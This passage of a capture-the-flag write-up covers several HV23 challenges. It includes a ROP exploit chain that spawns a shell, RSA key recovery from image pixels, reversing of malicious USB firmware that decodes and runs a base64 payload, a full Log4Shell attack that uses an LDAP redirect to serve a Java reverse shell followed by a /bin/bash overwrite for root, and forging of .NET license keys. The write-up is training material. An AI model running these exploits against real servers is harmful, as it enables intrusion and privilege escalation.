printf("%s\n > %s",prompt,"\x1b[?25h");
lineptr = (char *)0x0;
n = 0;
line_length = getline(&lineptr,&n,stdin);
memcpy(out,lineptr,line_length - 1);
return out;
}
This is our entry point! We can overflow format with the
gets
function to gain control over RIP.
And we can leak addresses for calculating PIE offsets! But... we can't do both at once... right? Let's have a look at the stack
layout right before the ret
instruction is called.

We can abuse the fact that
gets
puts no zero-termination into the target buffer and that addresses
are in little-endian format. This means that the least significant byte comes first. So we can overwrite the first byte of the return
address without knowing the PIE base:
payload = b""
payload += b"%35$p|%39$p|"
payload += (168 - len(payload)) * b"A"
assert len(payload) == 168
payload += p8(0xA0)
Our first payload leaks two addresses, which is
<main+158>
and <__libc_start_main-48>
.
It then overwrites the first byte of the return address with A0
which is the calling instruction itself: 001017a0 CALL tellflag
. In this way, we can craft another BOF to gain code execution.
exe.address = int(leak[0][2:],16) - exe.symbols["main"] - 158
log.info(f"Piebase: {hex(exe.address)}")
libc_leak = int(leak[1][2:],16)+48
libc.address = libc_leak - libc.symbols["__libc_start_main"]
log.info(f"libc leak: {hex(libc_leak)}")
log.info(f"libc base: {hex(libc.address)}")
rop = ROP([libc, exe])
rop.raw(rop.find_gadget(['ret'])) # stack align
rop.system(next(libc.search(b"/bin/sh")))
rop.raw(rop.find_gadget(['ret'])) # stack align
rop.call(exe.symbols["tellflag"])
payload = b"A"*168 + rop.chain()
The used libc version can be obtained from the spawned docker. Once we have our shell, we need to figure our how to get the flag, since
the flag file was wiped in the first program start. Additionally, we overwrote the flag buffer with our BOF and no matter what, the
program read at most 5 bytes, right...?
Running the binary locally with strace reveals something different:
$ strace ./vuln
openat(AT_FDCWD, "flag", O_RDONLY) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=27, ...}, AT_EMPTY_PATH) = 0
read(3, "HV23{f4k3_fl4g_f0r_t35t1ng}", 4096) = 27
close(3)
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=27, ...}, AT_EMPTY_PATH) = 0
read(3, "HV23{f4k3_fl4g_f0r_t35t1ng}", 4096) = 27
close(3)
Wait, even though we requested only 5 bytes and our target buffer is maximum 6 bytes long, libc performed a sys_read with 4096 bytes!
And the result tells us that 27 bytes were read, but where did it get stored? At this point I have to guess. I tried to read
the libc source but couldn't find the line. My assumption is, that it uses some internal chunk allocated on the heap and freed again
once the fd is closed. Let's examine the memory. Using our popped shell, we can get the proc maps:
$ ps | grep vuln
8 ? 00:00:00 vuln
$ cat /proc/8/maps
(...)
55cd42a40000-55cd42a61000 rw-p 00000000 00:00 0 [heap]
(...)
55cd42a40000-55cd42a61000 rw-p 00000000 00:00 0 [heap]
(...)
Now that we got the heap base address, we can leak the flag. In our case, the flag is located at heap_base + 0x484, which can be found out using
the local debugger. This chunk located at this offset is also the same as for the username, therefore we have to choose a very short username (1 char),
so that we can at least recover the rest of the flag. We append the following code for the final ROP payload:
rop = ROP([libc])
rop.raw(rop.find_gadget(['ret'])) # stack align
rop.puts(heap_base + 0x484)
rop.call(exe.symbols["main"])
- Flag:
HV23{roses_are_red_violets_are_blue_the_bufferoverfl0w_is_0n_line_32}
Python script
HV23.17: Lost Key
After losing another important key, the administrator sent me a picture of a key as a replacement.
But what should I do with it?


The given image is quite small and we find an interesting hint using
exiftool
:
$ exiftool key.png
(...)
Comment : Key Info: 0x10001
(...)
Comment : Key Info: 0x10001
(...)
The number
0x10001
is a common RSA public exponent. Looking closely at the image,
we can find two pixels which seem to be a bit odd. The two pixels are located at the mid-right (54, 20) and bottom right (54, 41).
The coordinates divide the image exactly into two even halves. Experimenting with the color planes and a lot of guessing,
we can interpret these two halves as the used RSA primes p
and q
.
key_img = Image.open("key.png")
pix = key_img.load()
width, height = key_img.size
pixels_p = []
pixels_q = []
end_p = (54, 20)
end_q = (54, 41)
for y in range(height):
for x in range(width):
if y <= end_p[1]:
pixels_p.append(pix[x,y])
else:
pixels_q.append(pix[x,y])
p = int(extract_bin(pixels_p), 2)
q = int(extract_bin(pixels_q), 2)
With p and q we can calculate the other numbers and perform a textbook RSA decryption:
e = 0x10001
n = p * q
phi_n = (p - 1) * (q - 1)
d = power_mod(e, -1, phi_n)
with open("flag.enc", "rb") as f:
data = f.read()
ct = bytes_to_long(data)
pt = power_mod(ct, d, n)
pt_b = long_to_bytes(pt)
with open("decrypted.png", "wb") as g:
g.write(pt_b)

- Flag:
HV23{Thanks_for_finding_my_key}
Python script
HV23.18: Evil USB
An engineer at SantaSecCorp has found a suspicious device stuck in the USB port of his computer.
It doesn't seem to work anymore, but we managed to dump the firmware for you.
Please help us find out what the device did to their computer.
The challenge provides two files: firmware.elf and firmware.hex. The file and string command reveals its compiled for Arduino Leonardo:
$ file firmware.elf
firmware.elf: ELF 32-bit LSB executable, Atmel AVR 8-bit, version 1 (SYSV), statically linked, with debug_info, not stripped
$ strings -n8 firmware.elf
(...)
Arduino LLC
Arduino Leonardo
(...)GCC: (GNU) 7.3.0
atmega32u4
(...)
Arduino LLC
Arduino Leonardo
(...)GCC: (GNU) 7.3.0
atmega32u4
(...)
The strings command reveals also some interesting data:
$ strings -n8 firmware.elf
(...)
Scheduled activation in
Running payload... Never gonna give you up btw
base64 -d data > data_decoded
bash data_decoded
(...)
Scheduled activation in
Running payload... Never gonna give you up btw
base64 -d data > data_decoded
bash data_decoded
(...)
We can assume that it runs some internal timer. Once the timer exceeds, it "runs" the payload. We are expecting some base64 data.
We will load the firmware.elf file into Ghidra using the avr8 16-bit gcc profile. Unfortunately, Ghidra messes up the pseudocode, as
it interprets 8-bit move operations as 16 bit. Inspecting the setup function, we will find a big endless loop inside it, which is
the inlined loop-function known from Arduino.
Inside the loop we will find a smaller loop which iterates over some data and xoring it with 0x69. Unfortunately, I can't explain further here
as the generated pseudocode is really garbage and I couldn't find any tool with readable output. So here is the python code to retrieve the flag.
segment_addr = 0x800100
segment_offset = 0x19
data_size = 0xd8
xor_key = 0x69
data_addr = segment_addr + segment_offset
firmware = ELF("./firmware.elf", checksec=False)
for segment in firmware.segments:
start = segment.header.p_vaddr
end = segment.header.p_vaddr + segment.header.p_filesz
if start <= data_addr < end:
data = segment.data()[segment_offset:segment_offset+data_size]
extracted_data = util.xor(data, xor_key).decode()
break
The resulting base64 string is a chain of three bash commands performing http requests. The final image
is a fun looking cat with the flag hidden in the EXIF-data:

- Flag:
HV23{4dru1n0_1s_fun}
Python script
HV23.19: Santa's Minecraft Server
Santa likes to play minecraft. His favorite version is 1.16.
For security reasons, the server is not publicly accessible.
But Santa is a little show-off, so he has an online map to brag about his fabulous building skills.
Researching for
minecraft 1.16 rce
something familiar catches our eye: log4j.
Performing a port- and service scan on the target host, we see a http- and https port 80/443. The webserver is
running a dynMap and on the bottom left there is a prompt allowing anonymous users to send chat messages to the server.
This seems like our entry point! We setup a malicious LDAP-server redirecting to our malicious HTTP server to serve our
compiled Java reverse shell:
http_Port = 8000
shell_port = 9001
java_payload = compile_java(shell_port)
file_server = HttpFileServer("0.0.0.0", http_Port)
file_server.addFile("Exploit.class", java_payload)
file_server.enableLogging()
file_server.startBackground()
payload = f"${{jndi:ldap://{IP_ADDRESS}:1389/b}}"
payload_url = file_server.get_full_url("#Exploit", ip_addr=IP_ADDRESS)
ldap_process = None
def spawn_ldap_server():
global ldap_process
ldap_process = subprocess.Popen([
"java",
"-cp",
os.path.join("marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
payload_url
])
ldap_process.wait()
print("[ ] Starting LDAP Server")
ldap_thread = threading.Thread(target=spawn_ldap_server)
ldap_thread.start()
Next we trigger our shell by sending the log4j payload. It is important to mention that the java version must be
8
for the exploit to work.
def send_message(msg):
json_data = { "name": "", "message": msg }
res = request("POST", "/up/sendmessage", json=json_data)
util.assert_status_code(res, 200)
print("[ ] Triggering log4j shell")
shell = rev_shell.trigger_background_shell(lambda: send_message(payload), shell_port)
Nice! We got a reverse shell. But the challenge is not completed yet, as the flag lies in
/home/santa/flag.txt
and belongs to santa
with permissions -rw-------.
. We are looking for a way to
escalate our privileges and we find a setuid-binary in /santas-workshop
as well as it's source code:
#include <unistd.h>
#include <stdio.h>
void debugShell() {
printf("Launching debug shell...\n");
char *argv[] = { "/bin/bash", 0 };
execve(argv[0], &argv[0], NULL);
}
void main() {
printf("--- Santas Workshop Tool ---\n");
printf("Pick an action:\n");
printf("s) debug shell\n");
printf("-- more options to come\n");
char option;
scanf("%c", &option);
switch (option) {
case 's': debugShell(); break;
default: printf("Unknonwn option!\n"); break;
}
}
The binary can spawn a bash process running as root, but since the
-p
flag is not set, we cannot actually use those privileges.
Luckily the /bin/bash
file is world writeable, so we can simply replace it with our custom shell. We don't need to upload
a statically compiled binary either since gcc is present on the target machine:
def get_privesc_code():
c_code = b"""#include <stdio.h>
#include <unistd.h>
int main() {
printf(\"Spawning a shell with -p parameter...\");
char *shell = \"/bin/sh\";
char *args[] = {shell, \"-p\", NULL};
execve(shell, args, NULL);
return 0;
}
"""
return base64.b64encode(c_code).decode()
privesc = get_privesc_code()
commands = [
f"echo {privesc} | base64 -d > /tmp/shell.c && gcc /tmp/shell.c -o /bin/bash",
"/santas-workshop/tool",
"s",
"cat /home/santa/flag.txt",
"exit"
]
for cmd in commands:
shell.sendline(cmd)
time.sleep(0.5)
print("[+] Flag:", shell.raw_output.decode())
shell.close()
It was actually not intended that bash was world writeable. The intended solution involved loading a shared object
through
enable -f
as described here.
- Flag:
HV23{d0n7_f0rg37_70_upd473_k1d5}
Python script
HV23.20: Santa's Candy Cane Machine
As Santa wanted to start producing Candy Canes for this years christmas season,
his machine wouldn't work anymore. All he got was some error message about an "expired license".
Santa tried to get support from the manufacturer. Unfortunately, the company is out of business since many years.
One of the elves already tried his luck but all he got out of the machine was a
.dll
!
Can you help Santa license his Candy Cane machine and make all those kids happy for this years christmas?
We are provided a .NET assembly compiled to a .dll file. Additionally, there is a web-interface where we can get an expired license key
and submit a new license key. The task is to submit a valid license key to receive the flag. Looking at the .dll we can see the functionality
to verify a submitted license key. The main functions looks like this:
public static CandyCaneLicense? Create(string serial)
{
CandyCaneLicense candyCaneLicense = new CandyCaneLicense();
if (CandyCane.DecodeBlock(serial, out candyCaneLicense.candyCane) && candyCaneLicense.RangesAreValid())
{
return candyCaneLicense;
}
return null;
}
public static bool DecodeBlock(string str, out CandyCaneBlock block)
{
block = default(CandyCaneBlock);
if (!StringToArray(str, out var arr) || !UnshuffleArray(arr) || !ArrayToBinary(arr, out var bin))
{
return false;
}
IntPtr intPtr = Marshal.AllocHGlobal(25);
Marshal.Copy(bin, 0, intPtr, 16);
block = (CandyCaneBlock)Marshal.PtrToStructure(intPtr, typeof(CandyCaneBlock));
Marshal.FreeHGlobal(intPtr);
block.Shuffle = arr[24];
if (IsValidTime(block.Expiration))
{
return IsValidTime(block.Generation);
}
return false;
}
The function
DecodeBlock
performs three steps for decoding. First, it converts the string to a byte-array.
Then it performs a shuffle algorithm on top of it and finally convert the byte array to a binary structure which can be interpreted as
a CandyCaneBlock
-Object. As we are looking for a valid license key our approach is reversing every function
so we can generate arbitrary licenses with any data we want.
Reversing Unmarshalling
Since a byte-array is directly casted to aCandyCaneBlock
-Object, we have to look at the class fields and create am
object according to the layout.
public struct CandyCaneBlock
{
public uint Expiration;
public uint Generation;
public byte Product;
public byte Flags;
public ushort Count;
public ushort Random;
public byte Type;
public byte Shuffle;
}
def create_license_block(product_name, time_gen, time_exp):
byte_arr = b""
byte_arr += struct.pack("<I", time_exp)
byte_arr += struct.pack("<I", time_gen)
byte_arr += struct.pack("B", product_name)
byte_arr += struct.pack("B", 0) # flags
byte_arr += struct.pack("<H", 0) # count
byte_arr += struct.pack("<H", 0) # random
byte_arr += struct.pack("B", 2) # product_type = Premium
byte_arr += struct.pack("B", 0) # shuffle
assert len(byte_arr) == 16
return byte_arr
Reversing Shuffle
The shuffle function was a bit more complicated. The type of shuffle is performed based on two valuesb
and b2
, where b
is
calculated by the values of the array and b2
is the last byte in the byte array.
private static bool UnshuffleArray(byte[] arr)
{
byte b = ComputeShuffle(arr);
byte b2 = arr[24];
if (b >= 32 || b2 >= 32)
{
return false;
}
byte[] array = new byte[25];
byte[] array2 = candyMixHorizontals[b2];
for (int i = 0; i < 24; i++)
{
array[i] = array2[arr[i]];
}
byte[] array3 = candyMixVerticals[b];
for (int j = 0; j < 24; j++)
{
arr[array3[j]] = array[j];
}
return true;
}
private static byte ComputeShuffle(IReadOnlyList<byte> arr)
{
uint num = 0u;
for (int i = 0; i < 24; i++)
{
num += (uint)(arr[i] + shuffler[i]);
}
num %= 32u;
return (byte)num;
}
The value
b
cannot easily be recovered since shuffling changes the array contents.
Luckily, we know that there are only 32 possible values, so we can simply perform the reverse shuffle for all values
and then check, if the calculated shuffle byte matches:
def shuffle_array(byte_arr):
shuffle_num_2 = byte_arr[24]
assert shuffle_num_2 < 32
for shuffle_num_1 in range(0, 32):
shuffled_arr = list(None for i in range(25))
for i in range(24):
value = CANDY_MIX_HORIZONTALS[shuffle_num_2].index(byte_arr[i])
destination = CANDY_MIX_VERTICALS[shuffle_num_1].index(i)
shuffled_arr[destination] = value
if shuffle_num_1 == compute_shuffle(shuffled_arr):
break
shuffled_arr[24] = byte_arr[24]
return shuffled_arr
def compute_shuffle(arr):
value = 0
for i in range(24):
value += arr[i] + SHUFFLER[i]
return value % 32
Reversing StringToArray
Reversing the last function is trivial. What the original function does is simply interpreting each 5-byte value as an integer and dividing it into different bits again:private static bool ArrayToBinary(IReadOnlyList<byte> arr, out byte[] bin)
{
bin = new byte[16];
int num = 0;
int index = 0;
ulong num2 = ((ulong)arr[index++] << 35) | ((ulong)arr[index++] << 30) | ((ulong)arr[index++] << 25) | ((ulong)arr[index++] << 20) | ((ulong)arr[index++] << 15) | ((ulong)arr[index++] << 10) | ((ulong)arr[index++] << 5) | arr[index++];
bin[num++] = (byte)((num2 >> 32) & 0xFF);
bin[num++] = (byte)((num2 >> 24) & 0xFF);
bin[num++] = (byte)((num2 >> 16) & 0xFF);
bin[num++] = (byte)((num2 >> 8) & 0xFF);
bin[num++] = (byte)(num2 & 0xFF);
num2 = ((ulong)arr[index++] << 35) | ((ulong)arr[index++] << 30) | ((ulong)arr[index++] << 25) | ((ulong)arr[index++] << 20) | ((ulong)arr[index++] << 15) | ((ulong)arr[index++] << 10) | ((ulong)arr[index++] << 5) | arr[index++];
bin[num++] = (byte)((num2 >> 32) & 0xFF);
bin[num++] = (byte)((num2 >> 24) & 0xFF);
bin[num++] = (byte)((num2 >> 16) & 0xFF);
bin[num++] = (byte)((num2 >> 8) & 0xFF);
bin[num++] = (byte)(num2 & 0xFF);
num2 = ((ulong)arr[index++] << 35) | ((ulong)arr[index++] << 30) | ((ulong)arr[index++] << 25) | ((ulong)arr[index++] << 20) | ((ulong)arr[index++] << 15) | ((ulong)arr[index++] << 10) | ((ulong)arr[index++] << 5) | arr[index++];
bin[num++] = (byte)((num2 >> 32) & 0xFF);
bin[num++] = (byte)((num2 >> 24) & 0xFF);
bin[num++] = (byte)((num2 >> 16) & 0xFF);
bin[num++] = (byte)((num2 >> 8) & 0xFF);
bin[num++] = (byte)(num2 & 0xFF);
bin[num] = (byte)(arr[index] << 3);
return true;
}
The reversed function looks much simpler:
def binary_to_array(byte_arr):
arr = []
for i in range(0, 15, 5):
num = struct.unpack(">Q", util.lpad(byte_arr[i:i+5], 8, b"